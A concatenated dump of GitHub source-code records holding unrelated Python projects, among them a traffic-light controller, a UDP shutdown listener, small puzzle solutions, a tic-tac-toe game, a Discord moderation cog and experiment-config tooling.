使用PID控制器更新控制信号\n# steering_angle = pid.update(center_offset, dt=1) # 假设每次调用间隔1秒\n# return steering_angle\n\n# # 使用上述函数\n# image = cv2.imread('WIN_20231126_20_58_32_Pro.jpg')\n# lines = detect_lane(image)\n# steering_angle = get_steering_angle(lines, image.shape[1])\n# print(steering_angle)\n\n\n\n# combo_image = cv2.addWeighted(image, 0.8, line_image, 1, 0)\n\n\n","repo_name":"qwqpap/car19_vision","sub_path":"bd_img/noted.py","file_name":"noted.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"20148779140","text":"import signal\nfrom threading import Thread\nfrom TrafficLightCore import RestAPI as REST\nfrom TrafficLightCore.Terminal import Terminal\nfrom TrafficLightCore.Crossing import Crossing\nfrom TrafficLightCore.TrafficLight import TrafficLight\nfrom TrafficLightCore.mqttClient import MqttClient\n\nmodels = None\n\nsettings = {\n # MQTT settings\n 'mqtt_ip': \"localhost\", # \"broker.mqttdashboard.com\"\n #'mqtt_ip': \"smartcity.ddns.net\", # \"broker.mqttdashboard.com\"\n 'mqtt_port': 1883,\n 'mqtt_username': \"smartcity\",\n #'mqtt_username': \"root\",\n 'mqtt_password': \"smartcity\",\n\n # Robot backend settings\n 'backend_ip': \"localhost\",\n #'backend_ip': \"smartcity.ddns.net\",\n 'backend_port': \"1994\",\n #'backend_port': \"8083\",\n\n # Trafficlight driver\n 'driver_host' : \"172.16.0.200\",\n 'driver_port' : 1315\n}\n\n\ndef service_shutdown(signum, frame):\n print(\"Shutdown received\")\n raise ServiceExit\n\n\nclass ServiceExit(Exception):\n \"\"\"\n Custom exception which is used to trigger the clean exit\n of all running threads and the main program.\n \"\"\"\n pass\n\n\nif __name__ == \"__main__\":\n print(\" _____ __ __ _ _ _ _ _ ____ \")\n print(\"|_ _| / _|/ _(_) | | (_) | | | | / __ \\ \")\n print(\" | |_ __ __ _| |_| |_ _ ___| | _ __ _| |__ | |_| / \\/ ___ _ __ ___ \")\n print(\" | | '__/ _\\`| _| _| |/ __| | | |/ _ \\` | \\| __| | / _ \\| ' / _ \\\\\")\n print(\" | | | | (_| | | | | | | (__| |___| | (_| | | | | |_| \\__/\\ (_) | | | __/\")\n print(\" \\_/_| \\__,_|_| |_| |_|\\___\\_____/_|\\__, |_| |_|\\__|\\____/\\___/|_| \\___|\")\n print(\" __/ | \")\n print(\" |___/ \")\n print(\" \")\n print(\"Universiteit Antwerpen - [2018-2019] \")\n print(\"v0.0.1 \")\n\n # Register the signal handlers\n signal.signal(signal.SIGTERM, service_shutdown)\n signal.signal(signal.SIGINT, service_shutdown)\n\n mqttClient = MqttClient(settings)\n # Initialize traffic light models (hardcoded for now)\n t1 = TrafficLight(1, 76, settings, mqttClient, startState=\"RED\", redTime=15, greenTime=10)\n t2 = TrafficLight(2, 69, settings, mqttClient, startState=\"GREEN\", redTime=15, greenTime=10)\n\n models = Crossing({1: t1, 2: t2})\n terminal = Terminal(models)\n try:\n terminal.start()\n REST.RestApi(models)\n\n except ServiceExit:\n # Terminate the running threads.\n # Set the shutdown flag on each thread to trigger a clean shutdown of each thread.\n terminal.shutdown_flag.set()\n #terminal.join()\n terminal.stop()\n exit(1)\n","repo_name":"SmartCity-UAntwerpen/TrafficLightCore","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7520945363","text":"#!/usr/bin/env python3\n\"\"\" usage: ./listen SHELLDIR\n\nSHELLDIR points to a directory with sscripts\n\"\"\"\n\nfrom docopt import docopt\nfrom socket import *\n\nfrom glob import glob\nimport subprocess\nfrom os import listdir, access, X_OK\nfrom os.path import isfile, join\nimport logging as log\nlog.basicConfig(level=log.DEBUG)\n\n\n\ndef run_shelldir(d):\n log.debug(\"running all in {}\".format(d))\n for fname in listdir(d):\n f = join(d,fname)\n if (isfile(f) and access(f, X_OK)):\n print(\"running {}\".format(f))\n subprocess.call([f])\n else:\n print(\"will not run {}\".format(f))\n\n\ndef main():\n d = docopt(__doc__)[\"SHELLDIR\"]\n listen_socket(d)\n\ndef listen_socket(d):\n s=socket(AF_INET, SOCK_DGRAM)\n s.bind(('',2342))\n log.debug(\"begin listen\")\n while True:\n pkg,ipport = s.recvfrom(1024)\n try:\n typ = pkg[0]\n if typ == 0x0a:\n log.debug(\"got hauptschalter\")\n action = pkg[1]\n if action == 2:\n log.debug(\"pre-shutdown\")\n elif action == 1:\n log.debug(\"shutdown\")\n run_shelldir(d)\n elif action == 0:\n print(\"shutdown successful\")\n except Exception as e:\n log.error(e)\n pass\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shackspace/shutdown-listener","sub_path":"listen.py","file_name":"listen.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8718498426","text":"class Solution:\n def singleNumber(self, nums: List[int]) -> int:\n once, twice = set(), set()\n for i in nums:\n if i not in once and i not in twice:\n once.add(i)\n elif i not in twice:\n once.remove(i)\n twice.add(i)\n \n return list(once)[0]","repo_name":"AhmedCharfeddine/Leetcode-Solutions","sub_path":"0136-single-number/0136-single-number.py","file_name":"0136-single-number.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"24392571560","text":"import sys\n\nlargest_id = -1\nwith open(sys.argv[1]) as file:\n for line in file:\n line = line.strip()\n row = int(line[:7].replace('F','0').replace('B','1'), base=2)\n column = int(line[7:].replace('L','0').replace('R','1'), base=2)\n id_ = row * 8 + column\n if (id_ > largest_id):\n largest_id = id_\nprint(largest_id)\n","repo_name":"snaily/adventofcode2020","sub_path":"5a.py","file_name":"5a.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13084771926","text":"\"\"\"Дополнительный модуль: партия.\"\"\"\n\n# импорт дополнительных модулей проекта\nimport data\nimport functions\nimport bot\n\n\ndef human_turn() -> int:\n \"\"\"Запрашивает у игрока и возвращает корректную координату ячейки поля для текущего хода, после 1-го хода производит автосохранение результатов.\"\"\"\n while True:\n curr_turn = input(f\"Введите номер ячейки для хода{data.PROMPT}\")\n if curr_turn == '':\n # ОТВЕТИТЬ: первое условие избыточно, считаю\n # Ловил глюк, связанный с этим, был только 1 игрок в списке, воссоздать не удалось, удаляю.\n if len(data.TURNS) > 0:\n # if len(data.PLAYERS) == 2 and len(data.TURNS) > 0:\n data.SAVES[tuple(data.PLAYERS)] = [data.TURNS, data.DIM]\n functions.write_ini()\n # ИСПРАВИТЬ: надо бы выйти из игры, зачем запрашивать всё новый и новый ход — это же должно быть досрочное завершение партии\n # Я понял ТЗ так, что при вводе пустого хода должно производиться автосохранение. От себя добавил проверку, что хотя бы 1 ход был, чтобы не сохранять пустые данные. Опять же игрок может по ошибке нажать Enter, или случайно дваджы нажать после своего хода, если после этого сразу завершать игру, то какой-то недружественный интерфейс получается.\n continue\n if curr_turn.isdecimal():\n curr_turn = int(curr_turn)\n else:\n print(f\"Вы ввели неверный номер ячейки для хода, введите от 1 до {data.CELLS}!\")\n continue\n if curr_turn < 1 or curr_turn > data.CELLS:\n print(f\"Вы ввели неверный номер ячейки для хода, введите от 1 до {data.CELLS}!\")\n continue\n if data.BOARD[curr_turn-1] != '':\n print(f\"Такой ход уже был, введите другой!\")\n continue\n else:\n return curr_turn - 1\n\n\ndef bot_turn() -> int:\n \"\"\"Вычисляет и возвращает координату ячейки поля для текущего хода бота в зависимости от сложности.\"\"\"\n return [bot.dumb_bot, bot.smart_bot][data.BOT_LEVEL-1]()\n\n\ndef check_win() -> bool:\n \"\"\"Проверяет текущую партию на наличие победной комбинации.\"\"\"\n all_lines = []\n for i in data.RANGE:\n all_lines += [data.BOARD[i*data.DIM:(i+1)*data.DIM]]\n all_lines += [data.BOARD[i::data.DIM]]\n diagonals = data.BOARD[::data.DIM+1], data.BOARD[data.DIM-1:-1:data.DIM-1]\n all_lines += diagonals\n for line in all_lines:\n if all(line) and len(set(line)) == 1:\n return True\n return False\n\n\ndef game(loaded: bool = False) -> data.Score | None:\n \"\"\"Управляет игровым процессом для каждой новой или загруженной партии.\"\"\"\n remove_reverse = tuple(reversed(data.PLAYERS))\n data.PLAYERS = tuple(data.PLAYERS)\n if loaded:\n turns_cnt = len(data.TURNS)\n token_index = turns_cnt % 2\n else:\n turns_cnt = 1\n token_index = 0\n # КОММЕНТАРИЙ: тоже хорошее решение, одобряю\n turns = [human_turn, human_turn]\n for player in data.PLAYERS:\n if player.startswith('#'):\n turns[data.PLAYERS.index(player)] = bot_turn\n while True:\n print(['', f\"Ход игрока '{data.PLAYERS[token_index]}'\"][data.TRAINING])\n curr_turn = turns[token_index]()\n data.BOARD[curr_turn] = data.TOKENS[token_index]\n data.TURNS.append(curr_turn+1)\n # ИСПРАВИТЬ: полагаю, коли так, то лучше ещё на инициализации сделать data.PLAYERS кортежем, а не списком, и не выполнять лишнее преоб��азование на каждой итерации\n data.SAVES[data.PLAYERS] = [data.TURNS, data.DIM]\n if len(data.TURNS) == 1 and remove_reverse in data.SAVES:\n data.SAVES.pop(remove_reverse)\n functions.write_ini()\n print(f\"\\n{functions.draw_board(data.BOARD, token_index)}\\n\")\n print(f\"{['', functions.print_tutorial(curr_turn, token_index, token_index)][data.TRAINING]}\")\n if check_win():\n print(f\"Игрок '{data.PLAYERS[token_index]}' победил!\\n\")\n return {data.PLAYERS[token_index]: {'wins': 1, 'training': False}}, \\\n {data.PLAYERS[abs(token_index-1)]: {'fails': 1, 'training': False}}\n token_index = abs(token_index-1)\n turns_cnt += 1\n if turns_cnt > data.CELLS and not check_win():\n print(f\"Ничья!\\n\")\n return {data.PLAYERS[0]: {'ties': 1, 'training': False}}, \\\n {data.PLAYERS[1]: {'ties': 1, 'training': False}}\n","repo_name":"RuMa476/tic_tac_toe","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31186648069","text":"import logging\nimport re\nfrom typing import Union\n\nimport discord\n\nimport time\nfrom datetime import datetime, timedelta\n\nfrom discord.ext import tasks\nfrom discord.ext.commands import Greedy\nfrom redbot.core import commands, Config, checks\nfrom redbot.core.utils.chat_formatting import box\nfrom discord.utils import get as discord_get\nfrom tabulate import tabulate\n\nlogger = logging.getLogger(\"red.RedX.Jailbreak\")\n\n\nclass JailbreakError(Exception):\n pass\n\nclass JailRoleError(JailbreakError):\n pass\n \n\nclass Jailbreak(commands.Cog):\n \"\"\"Système de prison\"\"\"\n\n def __init__(self, bot):\n super().__init__()\n self.bot = bot\n self.config = Config.get_conf(self, identifier=736144321857978388, force_registration=True)\n \n default_guild = {\n 'Jail': {},\n 'Settings': {\n 'role': None,\n 'default_time': 600,\n 'exclude_channels': []\n }\n }\n self.config.register_guild(**default_guild)\n \n self.cache = {}\n \n self.jailbreak_checks.start()\n \n \n# CHECKS______________________________________________________\n\n @tasks.loop(seconds=30.0)\n async def jailbreak_checks(self):\n all_guilds = await self.config.all_guilds()\n for g in all_guilds:\n jail = await self.config.guild_from_id(g).Jail()\n if jail:\n guild = self.bot.get_guild(g)\n for u in jail:\n try:\n user = guild.get_member(int(u))\n except:\n await self.jail_clear_userid(u)\n else:\n await self.jail_check_user(user)\n \n\n @jailbreak_checks.before_loop\n async def before_jailbreak_checks(self):\n logger.info('Lancement de jailbreak_checks...')\n await self.bot.wait_until_ready()\n \n \n# FONCTIONS___________________________________________________\n\n async def jail_manage_user(self, ctx: commands.Context, user: discord.Member, seconds: int, *, reason: str = ''):\n guild = user.guild\n author, channel = ctx.author, ctx.channel\n check, cross = self.bot.get_emoji(812451214037221439), self.bot.get_emoji(812451214179434551)\n \n settings = await self.config.guild(guild).Settings()\n role = guild.get_role(settings['role'])\n if not role:\n raise ValueError(\"Le rôle prisonnier n'a pas été configuré\")\n \n try:\n await user.add_roles(role, reason=f\"Par {author} | {'« ' + reason + ' »' if reason else 'Raison inconnue'}\") \n except:\n return await channel.send(f\"{cross}🔒 **Prison** · Impossible d'ajouter **{user}** à la prison\")\n else:\n await self.config.guild(guild).Jail.set_raw(user.id, value={'time': seconds, 'channel': channel.id})\n \n dtime = datetime.now().fromtimestamp(seconds)\n if seconds > time.time():\n if dtime.day != datetime.now().day:\n msg = f\"{check}🔒 **Prison** · Sortie de {user.mention} prévue le **{dtime.strftime('%d/%m/%Y à %H:%M')}**\"\n else:\n msg = f\"{check}🔒 **Prison** · Sortie de {user.mention} prévue à **{dtime.strftime('%H:%M')}**\"\n if reason:\n msg += f\"\\n__Raison :__ `{reason}`\"\n else:\n return await self.jail_check_user(user)\n \n return await ctx.reply(msg, mention_author=False)\n \n async def jail_check_user(self, user: discord.Member):\n guild = user.guild\n check, cross, alert = self.bot.get_emoji(812451214037221439), self.bot.get_emoji(812451214179434551), self.bot.get_emoji(913597560483106836)\n \n settings = await self.config.guild(guild).Settings()\n role = guild.get_role(settings['role'])\n if not role:\n raise ValueError(\"Le rôle prisonnier n'a pas été configuré\")\n \n try:\n data = await self.config.guild(guild).Jail.get_raw(str(user.id))\n except KeyError:\n return\n \n seconds, channelid = data.values()\n if seconds <= int(time.time()):\n channel = guild.get_channel(channelid)\n await self.config.guild(guild).Jail.clear_raw(str(user.id))\n try:\n await user.remove_roles(role, reason=\"Fin de peine\")\n except:\n await self.jail_clear_userid(guild, str(user.id))\n return await channel.send(f\"{alert}🔓 **Sortie de prison** · **{user}** a été sorti de force\")\n \n msg = f\"{check}🔓 **Sortie de prison** · Fin de peine de **{user}**\"\n return await channel.send(msg)\n elif role not in user.roles:\n try:\n await self.config.guild(guild).Jail.clear_raw(str(user.id))\n except:\n pass\n channel = guild.get_channel(channelid)\n return await channel.send(f\"{alert}🔓 **Sortie de prison** · **{user}** a été sorti manuellement [Détection auto.]\")\n \n async def jail_clear_userid(self, guild: discord.Guild, user_id: str):\n cross = self.bot.get_emoji(812451214179434551)\n try:\n channelid = await self.config.guild(guild).Jail.get_raw(user_id, 'channel')\n await self.config.guild(guild).Jail.clear_raw(user_id)\n except KeyError:\n return\n else:\n user = self.bot.get_user(int(user_id))\n if user:\n msg = f\"{cross}🔓 **Sortie de prison** · **{user}** n'a pu être sorti proprement\\n*La raison la plus probable est que ce membre a quitté le serveur avant la fin de sa peine*\"\n else:\n msg = f\"{cross}🔓 **Sortie de prison** · **ID:{user_id}** n'a pu être sorti proprement\\n*La raison la plus probable est que ce membre a quitté le serveur avant la fin de sa peine*\"\n channel = guild.get_channel(channelid)\n return await channel.send(msg)\n \n \n def parse_timedelta(self, text: str) -> timedelta:\n result = re.compile(r'([+-])?(?:(\\d+)([smhj]?))', re.DOTALL | re.IGNORECASE).findall(text)\n if not result:\n raise ValueError(\"Le texte ne contient aucune indication de temps\")\n \n fmtmap = {'s': 'seconds', 'm': 'minutes', 'h': 'hours', 'j': 'days'}\n args = {}\n for oper, value, fmt in result:\n fmtname = fmtmap.get(fmt, 'minutes')\n value = -int(value) if oper == '-' else int(value)\n args[fmtname] = args.get(fmtname, 0) + value\n \n return timedelta(**args)\n \n# COMMANDES____________________________________________________\n \n @commands.command(name='prison', aliases=['p'])\n @checks.admin_or_permissions(manage_messages=True)\n async def jail_users(self, ctx, users: Greedy[discord.Member], duration: str = '', *, reason: str = ''):\n \"\"\"Ajouter, retirer ou éditer une peine de prison d'un membre\n \n __**Format du temps de peine**__\n `+X` = Ajouter du temps\n `-X` = Retirer du temps\n `s/m/h/j` = **S**econdes, **M**inutes, **H**eures, **J**ours\n \n Exemples : `30m` | `+6h30m` | `-2h30`\n \n Il est possible d'ajouter une raison après le temps\n En l'absence de précision d'un format de temps, des minutes sont utilisées\"\"\"\n guild = ctx.guild\n cross = self.bot.get_emoji(812451214179434551)\n settings = await self.config.guild(guild).Settings()\n \n if not duration:\n time = f\"{settings['default_time']}s\"\n else:\n time = duration.lower()\n try:\n tdelta = self.parse_timedelta(time)\n except ValueError:\n return await ctx.reply(f\"{cross} **Erreur** · Format de la commande invalide, consultez `;help p`\")\n \n role = guild.get_role(settings['role'])\n if not role:\n return await ctx.reply(f\"{cross} **Erreur** · Le rôle de prisonnier n'a pas été configuré\")\n \n jail = await self.config.guild(guild).Jail()\n for user in users:\n if str(user.id) in jail and duration == '':\n seconds = 0\n elif str(user.id) in jail:\n dtime = datetime.now().fromtimestamp(jail[str(user.id)]['time'])\n seconds = (dtime + tdelta).timestamp()\n else:\n seconds = (datetime.now() + tdelta).timestamp()\n \n await self.jail_manage_user(ctx, user, seconds, reason=reason)\n \n @commands.command(name='prisonlist', aliases=['plist'])\n async def jail_list_users(self, ctx):\n \"\"\"Affiche une liste des membres actuellement emprisonnés\"\"\"\n guild = ctx.guild\n em = discord.Embed(title=\"🔐 Membres emprisonnés\", color=await ctx.embed_color())\n em.set_footer(text=\"Gérez les peines avec la commande ';p'\")\n \n jail = await self.config.guild(guild).Jail()\n if not jail:\n em.description = box(\"Prison vide\")\n else:\n tabl = [(guild.get_member(int(u)), datetime.now().fromtimestamp(jail[u]['time']).strftime('%d/%m/%Y %H:%M')) for u in jail if guild.get_member(int(u))]\n em.description = box(tabulate(tabl, headers=('Membre', 'Sortie')))\n return await ctx.reply(embed=em, mention_author=False)\n \n \n# PARAMETRES_______________________________________________________\n\n @commands.group(name=\"jailset\", aliases=['pset'])\n @checks.admin_or_permissions(manage_messages=True)\n async def jail_settings(self, ctx):\n \"\"\"Paramètres de la prison\"\"\"\n\n @jail_settings.command(name=\"role\")\n async def jail_role(self, ctx, role: Union[discord.Role, bool] = None):\n \"\"\"Définir le rôle de la prison\n\n Si aucun rôle n'est donné, celui-ci est créé automatiquement (si non déjà présent)\n Mettre 'False' désactive la prison\"\"\"\n guild = ctx.guild\n jail = await self.config.guild(guild).Settings()\n if type(role) == discord.Role:\n jail[\"role\"] = role.id\n await ctx.send(f\"**Rôle modifié** » Le rôle {role.mention} sera désormais utilisé pour la prison\\n\"\n f\"Faîtes `[p]pset check` pour régler automatiquement les permissions. \"\n f\"Sachez que vous devez manuellement monter le rôle à sa place appropriée dans la hiérarchie.\")\n elif role != False:\n maybe_role = discord_get(guild.roles, name=\"Prisonnier\")\n if maybe_role:\n jail[\"role\"] = maybe_role.id\n await ctx.send(\n f\"**Rôle détecté** » Le rôle {maybe_role.mention} sera désormais utilisé pour la prison\\n\"\n f\"Sachez que vous devez manuellement monter le rôle à sa place appropriée dans la hiérarchie.\")\n else:\n role = await guild.create_role(name=\"Prisonnier\", color=discord.Colour.default(),\n reason=\"Création auto. du rôle de prisonnier\")\n jail[\"role\"] = role.id\n await ctx.send(f\"**Rôle créé** » Le rôle {role.mention} sera désormais utilisé pour la prison\\n\"\n f\"Sachez que vous devez manuellement monter le rôle à sa place appropriée dans la hiérarchie.\")\n else:\n jail['role'] = None\n await ctx.send(f\"**Rôle retiré** » La prison a été désactivée.\")\n await self.config.guild(guild).Settings.set(jail)\n \n @jail_settings.command(name=\"delay\")\n async def jail_default_delay(self, ctx, val: int = 600):\n \"\"\"Règle le délai par défaut (en secondes) de la prison si aucune durée n'est spécifiée\n\n Doit être supérieur à 30 et inférieur à 86400 (1 jour)\n Par défaut 600s (10 minutes)\"\"\"\n guild = ctx.guild\n jail = await self.config.guild(guild).Settings()\n if 30 <= val <= 86400:\n jail[\"default_time\"] = val\n await ctx.send(\n f\"**Délai modifié** » Par défaut les prisonniers seront emprisonnés {val} secondes\")\n await self.config.guild(guild).jail_settings.set(jail)\n else:\n await ctx.send(\n f\"**Délai invalide** » La valeur du délai doit se situer entre 30 et 86400 secondes\")\n \n","repo_name":"GitAcrown/Redx","sub_path":"jailbreak/jailbreak.py","file_name":"jailbreak.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14276361111","text":"import os\nimport pathlib\n\n# project imports\nimport bformat\nfrom parse_dependencies_file import read_json, parse_subrepo_data\nfrom gitinfos_class import GitInfos\n\n\ndef print_header(dir, parent_repos):\n infos_header = \"\"\n if not parent_repos:\n infos_header = \"project\"\n else:\n # for parent_repo in parent_repos:\n for i, parent_repo in enumerate(parent_repos):\n if i > 0:\n infos_header += pathlib.Path(parent_repo).stem + f\" {bformat.NESTEDMARK}\"\n infos_header += pathlib.Path(dir).stem\n\n print(f\"{bformat.BOLD}{infos_header}{bformat.DEFAULT}\")\n\n\ndef get_prefix(dir, parent_repos):\n prefix = \"\"\n\n if not parent_repos:\n prefix = \"\"\n else:\n # for parent_repo in parent_repos:\n for i, parent_repo in enumerate(parent_repos):\n if i > 0:\n prefix += pathlib.Path(parent_repo).stem.upper().replace(\"-\", \"_\") + \"_\"\n prefix += pathlib.Path(dir).stem.upper().replace(\"-\", \"_\")\n prefix += \"_\"\n\n return prefix\n\n\ndef write_versions(file, dir, parent_repos, dependencies_filename, version_generator, recursive):\n print_header(dir, parent_repos)\n\n # got to dir\n if not os.path.exists(dir):\n print(f\"[{bformat.ERRORMARK}] needs to be fetched\")\n return\n\n os.chdir(dir)\n\n # get git infos\n git_infos = GitInfos()\n\n # set prefix\n prefix = get_prefix(dir, parent_repos)\n\n # write version\n file.write(version_generator.generate_line(f\"{prefix}GIT_REPO\", git_infos.repo))\n file.write(version_generator.generate_line(f\"{prefix}GIT_HASH\", git_infos.hash))\n file.write(version_generator.generate_line(f\"{prefix}GIT_SHORT_HASH\", git_infos.short_hash))\n file.write(version_generator.generate_line(f\"{prefix}GIT_TAG\", git_infos.tag))\n file.write(version_generator.generate_line(f\"{prefix}GIT_LOCAL_CHANGES\", git_infos.local_changes))\n\n print(f\"[{bformat.SUCCESSMARK}] version generated\")\n\n # handle recursivity\n if recursive:\n # generate subrepo list\n dependencies_file = os.path.join(dir, dependencies_filename)\n\n if not os.path.exists(dependencies_file):\n print(f\"{bformat.CYAN}no nested dependencies found here{bformat.DEFAULT}\")\n return\n\n json_data = read_json(dependencies_file)\n subrepo_list = parse_subrepo_data(json_data)\n\n if not parent_repos:\n parent_repos = []\n parent_repos.append(git_infos.repo)\n\n for subrepo in subrepo_list:\n write_versions(file, os.path.realpath(os.path.join(dir, subrepo.local_path, subrepo.repo_name)), parent_repos, dependencies_filename, version_generator, recursive)\n\n\ndef generate_version_file(base_dir, dependencies_filename, version_generator, recursive):\n os.chdir(base_dir)\n\n with open(version_generator.FILENAME, \"w\") as file:\n # append header\n file.write(version_generator.HEADER)\n\n # append project and subrepo versions\n write_versions(file, base_dir, None, dependencies_filename, version_generator, recursive)\n\n # append footer\n file.write(version_generator.FOOTER)\n","repo_name":"DavidRbrt/subrepo","sub_path":"generate_version.py","file_name":"generate_version.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40216208770","text":"import FWCore.ParameterSet.Config as cms\n\n## import and modify standard CaloJetParameters\nimport RecoJets.JetProducers.CaloJetParameters_cfi\nHiCaloJetDefaults = RecoJets.JetProducers.CaloJetParameters_cfi.CaloJetParameters.clone(\n doPUOffsetCorr = True,\n doAreaFastjet = True,\n doRhoFastjet = False,\n doPVCorrection = False,\n jetPtMin = 10,\n Ghost_EtaMax = 6.5\n \n)\n\n\n## add non-uniform fastjet settings\nHiCaloJetParameters = cms.PSet(\n HiCaloJetDefaults,\n doFastJetNonUniform = cms.bool(True),\n puCenters = cms.vdouble(-5,-4,-3,-2,-1,0,1,2,3,4,5),\n puWidth = cms.double(0.8),\n nExclude = cms.uint32(2),\n)\n\n## default settings for various pileup subtractors\nMultipleAlgoIteratorBlock = cms.PSet(\n subtractorName = cms.string(\"MultipleAlgoIterator\"),\n sumRecHits = cms.bool(False)\n)\n\nParametrizedSubtractorBlock = cms.PSet(\n subtractorName = cms.string(\"ParametrizedSubtractorBlock\"),\n sumRecHits = cms.bool(False),\n interpolate = cms.bool(False)\n)\n\n","repo_name":"cms-sw/cmssw","sub_path":"RecoHI/HiJetAlgos/python/HiCaloJetParameters_cff.py","file_name":"HiCaloJetParameters_cff.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"24534078934","text":"#Calculate sparsity\n'''\nAs you know, ALS works well with sparse datasets. Let's see how much of the ratings matrix is actually empty. Remember that sparsity is calculated by the number of cells in a matrix that contain a rating divided by the total number of values that matrix could hold given the number of users and items (movies). In other words, dividing the number of ratings present in the matrix by the product of users and movies in the matrix and subtracting that from 1 will give us the sparsity or the percentage of the ratings matrix that is empty.\n\nInstructions\n100 XP\n\nCalculate numerator of the sparsity metric by counting the total number of ratings that are contained in the ratings matrix.\nCalculate the number of distinct() userIds and distinct() movieIds in the ratings matrix.\nCalculate the denominator of the sparsity metric by multiplying the number of users by the number of movies in the ratings matrix.\nCalculate and print the sparsity by dividing the numerator by the denominator, subtracting from 1 and multiplying by 100. The 1.0 is added to ensure the sparsity is returned as a decimal and not an integer.\n'''\n\n# Code\n# Count the total number of ratings in the dataset\nnumerator = ratings.select(\"rating\").count()\n\n# Count the number of distinct userIds and distinct movieIds.\nnum_users = ratings.select(\"userId\").distinct().count()\nnum_movies = ratings.select(\"movieId\").distinct().count()\n\n# Set the denominator equal to the number of users multiplied by the number of movies\ndenominator = num_users * num_movies\n\n# Divide the numerator by the denominator\nsparsity = (1.0 - (numerator *1.0)/denominator)*100\nprint (\"The ratings dataframe is \", \"%.2f\" % sparsity + \"% empty.\")\n\n'''result\nThe ratings dataframe is 98.36% empty.\n\n\n'''","repo_name":"brenda6268/Big-Data-exercise","sub_path":"recommendation-engines-in-pyspark/No15-Calculate-sparsity.py","file_name":"No15-Calculate-sparsity.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"50"} +{"seq_id":"35579450272","text":"from typing import Dict, Optional, List, Tuple\nimport logging\nimport os\nimport yaml\nimport re\nimport pandas as pd\nfrom pathlib import PurePath, Path\n\nimport darpinstances.exec\nimport darpinstances.log\nfrom darpinstances.inout import check_file_exists\n\nfrom darpinstances.inout import check_file_exists\n\n\ndef load_experiment_config(path: str):\n logging.info(f\"Loading experiment config from {path}\")\n with open(path, 'r') as config_file:\n try:\n config = yaml.safe_load(config_file)\n\n # check the file locations and make them absolute\n os.chdir(os.path.dirname(path))\n check_file_exists(config['instance'])\n config['instance'] = os.path.abspath(config['instance'])\n\n # if outdir is set in config, check that that it is correct\n if \"outdir\" in config:\n check_file_exists(config['outdir'])\n config['outdir'] = os.path.abspath(config['outdir'])\n # othervise use the config file directory as outpath\n else:\n config['outdir'] = os.path.dirname(path)\n\n return config\n except yaml.YAMLError as er:\n logging.error(er)\n return False\n\n\ndef write_experiment_config(path: str, params: dict):\n logging.info('Saving config to %s', path)\n with open(path, 'w') as outfile:\n yaml.safe_dump(params, outfile)\n\n\ndef generate_experiment_configs_for_instance(\n full_result_root_dir: Path,\n methods: Dict[str, dict],\n instance_path: PurePath,\n overwrite: bool = True\n):\n # create root dir for all methods solving a single instance\n os.makedirs(full_result_root_dir, exist_ok=True)\n\n for method_name, method_config in methods.items():\n # create dir for method\n method_dir_full = full_result_root_dir / method_name\n os.makedirs(method_dir_full, exist_ok=True)\n\n experiment_config_path = method_dir_full / \"config.yaml\"\n\n instance_rel_path = PurePath(os.path.relpath(instance_path, method_dir_full))\n\n config = {\"instance\": str(instance_rel_path.as_posix()), \"outdir\": '.'} | method_config\n\n if overwrite or not experiment_config_path.exists():\n darpinstances.experiments.write_experiment_config(experiment_config_path, config)\n else:\n logging.info(f\"Skipping config generation for {experiment_config_path} as it already exists\")\n\n\ndef generate_experiments_config_for_instance_series(\n full_instance_root_path: PurePath,\n results_root_path: PurePath,\n methods: Dict[str, dict]\n):\n \"\"\"\n Generates experiment configuration files for a series of instances in a dir.\n :param full_instance_root_path: Path to the root folder of all instances from the series\n :param results_root_path:\n :param methods:\n :return:\n \"\"\"\n\n if not os.path.exists(full_instance_root_path):\n logging.error(f\"Instance root path is invalid: {full_instance_root_path} (absolute: {os.path.abspath(full_instance_root_path)})\")\n raise FileNotFoundError\n\n for file in os.listdir(full_instance_root_path):\n filename = os.fsdecode(file)\n full_filepath = os.path.join(full_instance_root_path, filename)\n if os.path.isdir(full_filepath):\n\n # determine the instance path\n instance_path = None\n for file_in_inst_dir in os.listdir(full_filepath):\n filename_in_inst_dir = os.fsdecode(file_in_inst_dir)\n # print(filename)\n if filename_in_inst_dir.endswith(\"yaml\"):\n results_instance_dir = os.path.join(results_root_path, filename)\n instance_folder_path = full_instance_root_path / PurePath(filename)\n instance_path = instance_folder_path / PurePath(filename_in_inst_dir)\n break\n if instance_path is None:\n raise Exception(f\"Instance file not found in dir: {full_filepath}\")\n\n generate_experiment_configs_for_instance(results_instance_dir, methods, instance_path)\n\n\ndef search_experiments_in_dir(dir_path: str, ignore_methods: Optional[List[str]] = None) -> List[str]:\n experiments = []\n\n for file in os.listdir(dir_path):\n filename = os.fsdecode(file)\n filepath = os.path.join(dir_path, filename)\n\n if os.path.isdir(filepath) and not filename.startswith(\"_\") \\\n and (ignore_methods is None or filename not in ignore_methods):\n subdir_experiments = search_experiments_in_dir(filepath, ignore_methods)\n experiments.extend(subdir_experiments)\n elif filename.endswith(\"yaml\"):\n experiments.append(filepath)\n\n return 